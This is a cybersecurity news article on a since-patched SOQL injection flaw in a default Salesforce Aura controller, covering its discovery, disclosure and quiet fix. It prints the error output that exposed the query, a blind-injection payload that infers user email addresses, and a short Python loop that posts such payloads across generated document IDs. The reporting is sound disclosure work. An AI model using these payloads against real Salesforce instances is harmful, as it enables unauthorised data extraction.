A critical security flaw has recently been uncovered in Salesforce’s widely deployed platform exposing thousands of organizations to potential data breaches through a 0-day SOQL Injection vulnerability embedded within a default controller.
The discovery, highlighted by a private cybersecurity researcher, demonstrates how even core components of enterprise software can be susceptible to injection attacks, with real-world implications for user privacy and corporate security.
The Salesforce Aura framework a client-server model for web application development uses controllers to define and expose various endpoints. One such controller, aura://CsvDataImportResourceFamilyController/ACTION$getCsvAutoMap, was found to be present and vulnerable in every Salesforce installation.
The vulnerability emerged because user-supplied input—specifically, the contentDocumentId parameter—was directly embedded into SOQL (Salesforce Object Query Language) queries without proper sanitization.
What is SOQL Injection?
SOQL Injection is analogous to SQL Injection but specific to Salesforce’s proprietary query language. Attackers can manipulate the input to craft malicious queries, potentially bypassing security checks and exfiltrating sensitive data.
The unique nature of SOQL, with its own set of limitations and syntax rules, makes exploitation more difficult compared to standard SQL Injection, but not impossible.
Exploit Walkthrough
During fuzzing, the researcher discovered that supplying a malformed contentDocumentId generated an error revealing an underlying SOQL query:
json{
"exceptionEvent": true,
"useDefault": false,
"event": {
"descriptor": "markup://aura:serverActionError",
"attributes": {
"values": {
"error": {
"message": "industries.impl.dataUtils.IndustriesDirectSoapUtil$DirectSoapException: MALFORMED_QUERY: \nContentVersion WHERE ContentDocumentId = '''\n ^\nERROR at Row:1:Column:239\nunexpected token: '''",
"stackTrace": "",
"data": {
"message": "industries.impl.dataUtils.IndustriesDirectSoapUtil$DirectSoapException: MALFORMED_QUERY: \nContentVersion WHERE ContentDocumentId = '''\n ^\nERROR at Row:1:Column:239\nunexpected token: '''",
"statusCode": 400,
"errorCode": "INTERNAL_ERROR"
},
"id": "-380442143"
}
}
}
}
}
This error demonstrated that user input was directly embedded in a dynamic SOQL query, making the endpoint vulnerable to injection.
Understanding the constraints of SOQL is crucial for crafting a successful attack. SOQL:
Despite these protections, the researcher identified a discrepancy in server responses:
"message": "Cannot invoke \"common.udd.EntityInfo.getEntityId()\" because \"ei\" is null""message": "Error in retrieving content document"This difference allowed for blind SOQL injection an attacker could infer data based on the server’s response. For example, by supplying a contentDocumentId crafted as:
text069TP00000HbJbNYAV' AND OwnerId IN (SELECT Id FROM User WHERE Email LIKE 'a%25') AND ContentDocumentId != '
The server’s response would confirm the existence of users with emails starting with 'a' when the first message appears, or indicate failure with the second. This technique enabled the researcher to infer the contents of the database, essentially leveraging an error-based blind SOQL injection.
Brute-forcing Document IDs and Attacker Automation
The researcher went further by using a script to generate valid Salesforce document IDs (which are somewhat predictable due to their structure). The script, available on GitHub here, was incorporated into the attack process. The workflow was as follows:
This automated approach made it possible to scan and extract data from non-public documents vastly increasing the exploit’s impact.
Sample Exploit Code
A snippet from the researcher’s script (soql-brute.py ) demonstrates how an attacker could iterate over generated IDs and inject SOQL conditions:
python# Example: iterating through generated ContentDocumentId values
for candidate_id in generate_content_document_ids(base_id):
payload = f"{candidate_id}' AND OwnerId IN (SELECT Id FROM User WHERE Name LIKE 'A%') AND ContentDocumentId != '"
response = session.post(target_url, data={'contentDocumentId': payload})
if "ei is null" in response.text:
print(f"Hit! User data associated with {candidate_id}")
The vulnerability’s reach is global, affecting all Salesforce installations using the default controller.
Sensitive user and document data could be exfiltrated by any attacker with network access to the Salesforce instance, potentially affecting millions of users and thousands of organizations worldwide.
Disclosure and Patch
The researcher reported the vulnerability to the application vendor, who initially denied responsibility, only to later confirm it was a Salesforce platform defect.
Salesforce addressed the issue quietly, patching the vulnerability without public disclosure, a CVE, or inclusion in official release notes—leaving users unaware of the threat or the fix.
Key Takeaways and Recommendations
This incident serves as a critical reminder that no platform is immune to injection attacks underscoring the need for continuous security research, transparent disclosure, and proactive patch management in enterprise software ecosystems.
Organizations relying on Salesforce are advised to confirm they are running the latest version and to review their logs for indicators of attempted or successful exploitation.
PortSwigger has leveled up Burp Suite's scanning arsenal with the latest Active Scan++ extension, version…
Unit 42 researchers at Palo Alto Networks exposed serious flaws in the Model Context Protocol…
Polish police have arrested three Ukrainian men traveling through Europe and seized a cache of…
Google has launched its most significant Chrome update ever, embedding Gemini AI across the browser…
Attackers exploit this vulnerability through the router's web interface components, specifically "cgibin" and "hnap_main," by…
Security researchers have uncovered a severe flaw in Apache Tika, a popular open-source toolkit for…